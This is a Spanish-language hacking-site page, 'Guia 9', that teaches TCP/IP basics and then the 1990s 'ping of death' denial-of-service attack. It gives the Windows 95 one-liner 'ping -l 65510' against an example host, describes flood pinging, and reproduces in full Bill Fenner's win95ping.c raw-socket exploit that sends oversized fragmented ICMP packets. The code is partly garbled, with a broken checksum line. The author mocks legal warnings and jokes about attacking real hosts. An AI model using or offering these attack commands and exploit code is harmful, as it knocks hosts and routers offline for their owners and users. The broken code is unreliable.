Black Hole organizacion
CostaRica  
  Bienvenida
  Hackers
  Foro ingresa
  Noticias
  Contacto
  Imagenes
  Programas
  Visitantes
  Chat
  Libros
  => hacker
  => Virus
  => Cracker
  => Lecciones hackin
  => Programacion
  => Diseños web
  => Guia de hackin
  => Privasidad
  => Guia → 1
  => Guia → 2
  => Guia → 3
  => Guia → 4
  => Guia → 5
  => Guia → 6
  => Guia → 7
  => Guia → 8
  => Guia → 9
  => Guia → 10
  => Guia → 11
  => Como intrudusirse aun sistema
  => shellcodes_linux-1
  => shellcodes_linux -2
  => UN-scodes.
  => Guia version Deluxe
  => Ser Hacker dentro de Términos Legales
  => Como hackear una paginaweb
  => Comoprogramar un Virus
  => Como Crear un Virus
  => Cuantos tipos de Virus existen
  => Programaciones de un virus
  => Estructura de computadores
  => Fundamentos de SSOO
  => Sistemas de numeración
  => Ensamblador I: Conceptos básicos
  => Ensamblador II
  => Utilidades para la programación
  => Infección bajo Windows
  => Infección bajo Linux
  => Técnicas avanzadas
  => Apéndices
  => CONOCIENDO LA MAQUINA
  => DIRECCIONAMIENTO DE MEMORIA EN EL 8086
  => CHIPS DE APOYO (Ampliación de la lección 1)
  => LA PILA DEL 8086
  => CODIFICACIÓN DE LAS INSTRUCCIONES EN EL 8086
  => Manual HTML
  => Ataques basados en Desbordamiento de Buffer (Buffer Overflow)
  => Privasidad
  => Escaneo
  => anti Escaneo y Escaneo
  => Malianom
  Triang
  Tersirve esta paguina?
  -
  juegos
  Vagos
  mapa
  Mapa del sitio
  546
Guia → 9

Atras

Introducción a TCP/IP. ¡Eso significa paquetes! ¡Datagramas! Se explica el exploit de denegación de servicio por paquete de ping gigante. Pero este hack es mucho menos inofensivo que la mayoría. No intentes esto en casa...

Si has estado en la lista Happy Hacker por un momento, habrás estado recibiendo elementos dirigidos de la lista Bugtraq acerca de un nuevo exploit de paquetes ping.

Si esto te ha estado sonando a galimatías, relájate. Es realmente muy sencillo. De hecho, es tan simple que si usas Windows 95, en cuanto termines este texto sabrás un simple comando de una sola línea que podrás usar para tirar abajo muchos hosts y routers de Internet.


ADVERTENCIA PUEDES IR A LA CÁRCEL: Esta vez no voy a implorar a los genios malignos "quiero-ser-hacker" en la lista para que sean virtuosos y resistan la tentación de emplear mal la información que estoy apunto de darles. ¡Mira si me preocupa! Si uno de esos tíos es pillado tirando abajo miles de hosts y routers de Internet, no solo irán a la cárcel y tendrán una gran multa. Todos nosotros pensaremos que el o ella es un/a gran capullo. Este exploit es un comando desde Windows 95 nada complicado y de una sola línea. Si, el sistema operativo que esta diseñado para retrasados mentales desorientados. Así que no hay nada de elite sobre este hack. Lo que es elite es ser capaz de desbaratar este ataque.

NOTA PARA NOVATOS: Si los paquetes, datagramas, y TCP/IP no son exactamente tus entrañables colegas aun, créeme, necesitas de verdad meterte en la cama con ellos para poderte llamar hacker. Así que quédate aquí para algo de material técnico. Cuando lo tengas, tendrás la satisfacción de saber que puedes sembrar estragos en Internet, pero son muy elite para llevarlos hacerlo. Mas aun, este exploit ha sido descubierto recientemente -- como hace unos días. Así que pronto sabrás cosas que la mayoría de los hackers elite ni siquiera han oído aun.

Un paquete es un modo de mandar información electrónica que mantiene fuera los errores. La idea es que ninguna tecnología de transmisión es perfecta. ¿Has jugado alguna vez al juego "teléfono"? Reúnes una docena de gente o así en un circulo y la primera persona le susurra un mensaje al segundo. Algo como "El bollo es la forma más pequeña de cereal". La segunda persona le susurra al tercero, "Un bollo es la forma más pequeña de estafar". La tercera susurra, "El ron es la forma más pequeña de beber". Y así. Es muy divertido el descubrir lo mucho que un mensaje puede mutar mientras recorre el circulo.

Pero entonces, por ejemplo, recibes email, preferirás que no este todo hecho un lío. Así que el ordenador que manda el email lo divide en pequeños trozos llamados datagramas. Entonces envuelve las cosas alrededor de cada datagrama que le dice a que ordenadores debe dirigirse, de donde procedía, y que compruebe si el datagrama ha podido ser truncado. A estos embalajes de datagramas envueltos se les llaman "paquetes".

Ahora si el ordenador que te manda el email fuera a "embalar" un mensaje realmente largo en tan solo un paquete, las posibilidades de que se desordene todo en su camino al otro ordenador son muy grandes. Un poco chungo. Así que cuando el ordenador que lo recibe comprueba el paquete y encuentra que se desordeno, lo tirara y le dirá al otro ordenador que lo vuelva a mandar. Podría llevar mucho tiempo hasta que este paquete gigante llegue intacto.

Pero si el mensaje esta dividido en un montón de pequeños trozos y envueltos en manojos de paquetes, la mayoría de ellos estarán bien y el ordenador destino los guardara. Entonces le dirá al ordenador remitente que reenvíe solo los paquetes que estaban hechos un lío. Entonces cuando todos los trozos lleguen finalmente allí, el ordenador destinatario los une en el orden correcto y allí esta, ahí esta el mensaje completo, email sin errores.

TCP/IP significa Transmission Control Protocol/Internet Protocol. Le dice a los ordenadores que están conectados a Internet como empaquetar los mensajes en paquetes y como leer paquetes estos paquetes de otros ordenadores. El ping usa TCP/IP para hacer sus paquetes.


"Ping" es un comando que manda una sonda de tu ordenador a otro ordenador para ver si esta encendido y conectado a la misma red a la que lo estas tu. En Internet hay unos 10 millones de ordenadores a los que puedes hacer ping.

Ping es un comando que puedes dar, por ejemplo, desde los sistemas operativos UNIX, Windows 95 y Windows NT. Es parte del Internet Control Message Protocol (ICMP), que es usado para localizar averías de redes TCP/IP. Lo que hace es decir a un ordenador remoto que devuelva el ping. Mas aun, algunas formas del comando ping te dirán además lo que tarda un mensaje en ir a ese ordenador y volver de vuelta.

Pero ¿cómo sabe tu ordenador que el ping que acaba de mandar ha vuelto del ordenador apuntado? El datagrama es la respuesta. El ping enviado es un paquete, y como cualquier paquete esta envuelto alrededor de un datagrama. Si el ping devuelto mantiene este mismo datagrama, sabes que fue tu ping que acaba de ser devuelto.

El formato básico de este comando es simplemente:

ping hostname

donde "hostname" es la dirección de Internet del ordenador que quieres comprobar.

Cuando doy este comando desde el UNIX Release 4.1 de Sun, la respuesta que recibo es "hostname is alive".


CONSEJO TÉCNICO: Debido a los poderes destructivos del ping, muchos proveedores de servicios de Internet esconden el programa ping en sus cuentas shell donde los novatos desorientados no puedan meter sus manos. Si tu cuenta shell dice "comando no encontrado" cuando metes el comando ping, prueba:

/usr/etc/ping hostname

Si esto no funciona, quéjate al servicio técnico de tu proveedor.

NOTA PARA NOVATOS: ¿Dices que no puedes encontrar un modo de hacer ping desde tu servicio ON-LINE? Eso puede ser quizás debido a que no tienes cuenta shell. Pero hay una cosa que realmente necesitas para hackear: ¡¡¡UNA CUENTA SHELL!!!

La razón por la cual los hackers se ríen de la gente con cuentas en America Online es por que ese proveedor no da cuentas shell. Esto es debido a que America Online quiere que seáis buenos chicos y chicas y no hackeeis.

Una "cuenta shell" es una cuenta de Internet en la que tu ordenador se convierte en un terminal de uno de los hosts de tu proveedor. Una vez estas en el "shell" puedes dar comandos al sistema operativo (que normalmente es UNIX) como si estuvieras sentado allí en la consola de uno de los hosts de tu proveedor.

Puede que ya tengas una cuenta shell pero simplemente no sepas como meterte en ella. Llama al soporte técnico de tu proveedor para averiguar si tienes una y como conectarte.


Hay toda clase de variaciones del comando ping. Y, sabes algo, donde quiera que hay un comando que ejecutas en Internet que tenga muchas variaciones, puedes simplemente contar con que haya algo hackeable ahí. ¡Muhahaha!

El flood ping es un ejemplo simple. Si tu sistema operativo te permite dar el comando:

-> ping -f hostname

manda un verdadero aluvión de pings, tan rápido como el host de tu proveedor pueda hacerlo. Esto mantiene al host al que has apuntado tan ocupado devolviendo tus pings que poco más puede hacer. También pone una carga muy pesada en la red.

Hackers con habilidades primitivas algunas veces se unirán y usaran varios de sus ordenadores a la vez para hacer ping simultáneamente al ordenador host de alguna víctima de Internet. Esto generalmente mantendrá al ordenador de la víctima muy ocupado para hacer cualquier otra cosa. Puede incluso venirse abajo. Sin embargo, la parte mala (desde el punto de vista de los atacantes) es que mantiene al ordenador atacante atado también.


NOTA NETIQUETTE: Hacer flood ping a un ordenador es extremadamente rudo. Que te cazen haciendo esto y tendrás suerte si lo peor que ocurre es que tu proveedor de servicios on-line cierra tu cuenta. Haz esto a un hacker serio y necesitaras un transplante de identidad.

Si por accidente llegas a empezar un tipo de flood ping, puedes detenerlo presionando la tecla control y "c" (control-c).

CONSEJO DE GENIO MALIGNO: ¡Hazte un ping a ti mismo! Si usas algún tipo de UNIX, tu sistema operativo te dejara usar tu ordenador para hacerle simplemente casi todo lo que él puede hacer a otros ordenadores. La dirección de red que te manda de vuelta a tu propio ordenador es localhost (o 127.0.0.1). Aquí va un ejemplo de como uso localhost:

<slug> [65] ->telnet localhost

Trying 127.0.0.1 ...

Connected to localhost.

Escape character is '^]'.

SunOS UNIX (slug)

login:

Ves, vuelvo de nuevo a la secuencia de login del ordenador llamado "slug".

Ahora me hago un ping a mí mismo:

<llama> [68] ->/usr/etc/ping localhost

localhost is alive

Esto me da el mismo resultado que si diera el comando:

<llama> [69] ->/usr/etc/ping llama

llama.swcp.com is alive

CONSEJO MUHAHAHA: ¿Quieres tirar de la cadena de alguien? Dile que haga ftp a 127.0.0.1 y que se conecte usando su propio nombre de usuario y password para pillar ¡warez cojonudo! Mi exmarido Keith Henson lo hizo en la Iglesia de la Cienciologia. Los miembros hicieron ftp a 127.0.0.1 y descubrieron todas sus escrituras con Copyright. Asumieron que esto estaba en el ordenador de Keith, no en el suyo. Estaban *tan* seguros de que tenia sus escrituras que le llevaron a juicio. El juez, cuando se dio cuenta de que estaban simplemente haciendo un loop en su propio ordenador, literalmente les mando de la sala descojonándose de ellos.

Para una transcripción buenísima o cinta de audio de esta sesión de juicio infame, manda un email a hkhenson@cup.portal.com. Esa es la dirección email de Keith. ¡Me quito el sombrero por un superhacker!


Sin embargo, el exploit del paquete ping descomunal que estas apunto de aprender puede incluso hacer mas daño a algunos hosts que una banda de conspiradores de ping flood. Y lo hará sin necesidad de reunir los ordenadores de los atacantes por mas del segundo que tarda ‚l en enviar un solo ping.

El modo más fácil de hacer esto es correr Windows 95. ¿No lo tienes?

Generalmente podrás encontrar un almacén El Cheapo que te lo mandara por $99.

Para hacer esto, primero configura tu sistema Windows 95 para que puedas establecer una conexión PPP o SLIP con Internet usando el programa de Acceso Telefónico a Redes en el icono de Mi PC. Necesitaras algo de ayuda del soporte técnico de tu proveedor para configurar esto. Debes hacerlo de este modo o este hack no funcionara. Tu dialer de America Online *definitivamente* no funcionara.


NOTA PARA NOVATOS: Si tu conexión a Internet te permite ejecutar un browser que muestre gráficos/fotos, puedes usar tu numero de llamada con el programa de Acceso Telefónico a Redes de tu Windows 95 para pillar una conexión o bien PPP o SLIP


Lo siguiente, conéctate a Internet. Pero no ejecutes ningún browser o lo que sea. En vez de eso, una vez que el programa de Acceso Telefónico a Redes te diga que estas conectado, haz click en el botón "Inicio" y vete a "MS-DOS".

Abre esta ventana DOS. Recibirás el prompt:

C:windows>

Ahora primeramente hagamos esto de la manera de buen ciudadano. En este prompt puedes teclear el comando "ping":

C:windowsping hostname

donde "hostname" es la dirección de algún ordenador de Internet. Por ejemplo, puedes hacer ping a thales.nmia.com, que es uno de mis ordenadores favoritos, que esta detrás de algún filosofo Griego oscuro.

Ahora si ocurre que sabes la dirección de uno de los ordenadores de Sadam Hussein, sin embargo, puede que quieras dar el comando:

c:windowsping -l 65510 saddam_hussein's.computer.mil

¡Realmente no lo hagas a un ordenador real! Algunos, pero no todos, los ordenadores se vendrán abajo y se mantendrán o bien colgados o se resetearán cuando reciban este ping. Otros continuaran funcionando alegremente, y de repente se irán abajo horas mas tarde.

¿Por que? Ese extra añadido -l 65510 crea un datagrama gigante que es envuelto dentro del paquete ping. Algunos ordenadores, cuando se les pide que devuelvan un datagrama idéntico, se hacen un verdadero lío.

Si quieres saber todos los detalles sangrientos de este exploit ping, incluyendo el cómo proteger tus ordenadores de él, comprueba: http://www.sophist.demon.co.uk/ping

Ahora, hay otras formas de crear un datagrama ping gigante además de usar Windows 95. Por ejemplo, si corres alguna versión UNIX de FreeBSD o Linux en tu PC, puedes ejecutar este programa, que fue posteado a la lista Bugtraq.

From: Bill Fenner <fenner@freefall.freebsd.org>

To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>

Subject: Ping exploit program

Ya que hay gente que no tiene necesariamente cajas de Windows 95 por ahí, yo (Fenner) escribí el siguiente programa exploit. Requiere un raw socket layer que no interfiera con el paquete, así que BSD 4.3, SunOS y Solaris están fuera. Funciona bien en sistemas 4.4BSD. Puede funcionar en Linux si lo compilas con -DREALLY_RAW.

Eres libre de hacer con esto lo que quieras. Por favor usa esto solo para testear tus propias maquinas, y no para tirar las de otros.

* win95ping.c

*

* Simulate the evil win95 "ping -l 65510 buggyhost".

* version 1.0 Bill Fenner <fenner@freebsd.org> 22-Oct-1996

*

* This requires raw sockets that don't mess with the packet at all (other

* than adding the checksum). That means that SunOS, Solaris, and

* BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD,

* OpenBSD, BSDI) will work. Linux might work, I don't have a Linux

* system to try it on.

*

* The attack from the Win95 box looks like:

* 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+)

* 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)

* 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)

* 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)

* 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)

* 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)

* 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+)

* 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+)

* 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+)

* 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+)

* 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+)

* 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+)

* 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)

* 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+)

* 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+)

* 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+)

* 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+)

* 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+)

* 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+)

* 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+)

* 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+)

* 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+)

* 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+)

* 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+)

* 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+)

* 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+)

* 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+)

* 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+)

* 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+)

* 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+)

* 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+)

* 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+)

* 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+)

* 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+)

* 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+)

* 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)

* 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+)

* 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+)

* 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+)

* 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+)

* 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+)

* 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+)

* 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+)

* 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+)

* 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)

*/

 

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

 

/*

* If your kernel doesn't muck with raw packets, #define REALLY_RAW.

* This is probably only Linux.

*/

#ifdef REALLY_RAW

#define FIX(x) htons(x)

#else

#define FIX(x) (x)

#endif

 

int

main(int argc, char **argv)

{

int s;

char buf[1500];

struct ip *ip = (struct ip *)buf;

struct icmp *icmp = (struct icmp *)(ip + 1);

struct hostent *hp;

struct sockaddr_in dst;

int offset;

int on = 1;

 

bzero(buf, sizeof buf);

if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {

perror("socket");

exit(1);

}

if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {

perror("IP_HDRINCL");

exit(1);

}

if (argc != 2) {

fprintf(stderr, "usage: %s hostnamen", argv[0]);

exit(1);

}

if ((hp = gethostbyname(argv[1])) == NULL) {

if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {

fprintf(stderr, "%s: unknown hostn", argv[1]);

}

} else {

bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

}

 

printf("Sending to %sn", inet_ntoa(ip->ip_dst));

ip->ip_v = 4;

ip->ip_hl = sizeof *ip >> 2;

ip->ip_tos = 0;

ip->ip_len = FIX(sizeof buf);

ip->ip_id = htons(4321);

ip->ip_off = FIX(0);

ip->ip_ttl = 255;

ip->ip_p = 1;

ip->ip_sum = 0; /* kernel fills in */

ip->ip_src.s_addr = 0; /* kernel fills in */

 

dst.sin_addr = ip->ip_dst;

dst.sin_family = AF_INET;

 

icmp->icmp_type = ICMP_ECHO;

icmp->icmp_code = 0;

icmp->icmp_cksum = htons(~(ICMP_ECHO << );

/* the checksum of all 0's is easy to compute */

 

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {

ip->ip_off = FIX(offset >> 3);

if (offset < 65120)

ip->ip_off |= FIX(IP_MF);

else

ip->ip_len = FIX(418); /* make total 65538 */

if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,

sizeof dst) < 0) {

fprintf(stderr, "offset %d: ", offset);

perror("sendto");

}

if (offset == 0) {

icmp->icmp_type = 0;

icmp->icmp_code = 0;

icmp->icmp_cksum = 0;

}

}

}

(Fin del mensaje del exploit ping de Fenner.)


NOTA PUEDES IR A LA CÁRCEL: No sólo este hack no es élite, si estás leyendo esto no sabes lo suficiente para evitar ser cazado por llevar a cabo este hack. Por otro lado, si fueras a hacerlo a un host de Internet en Iraq...


Por supuesto hay muchas otras cosas guay que puedes hacer con el ping. Si tienes una cuenta shell, puedes descubrir un montón de cosas acerca del ping dando el comando:

man ping

De hecho, puedes obtener un montón de detalles de cualquier comando de UNIX con "man".

Diviértete con el ping -- y ¡se bueno! Pero recuerda, no estoy implorando a los genios malignos quiero-ser-hacker que sean buenos. Mira si me preocupo cuando te cazen..

Black Hole  
   
Facebook botón-like  
 
 
Hoy hay 15 visitantes¡Aqui en esta página!
Este sitio web fue creado de forma gratuita con PaginaWebGratis.es. ¿Quieres también tu sitio web propio?
Registrarse gratis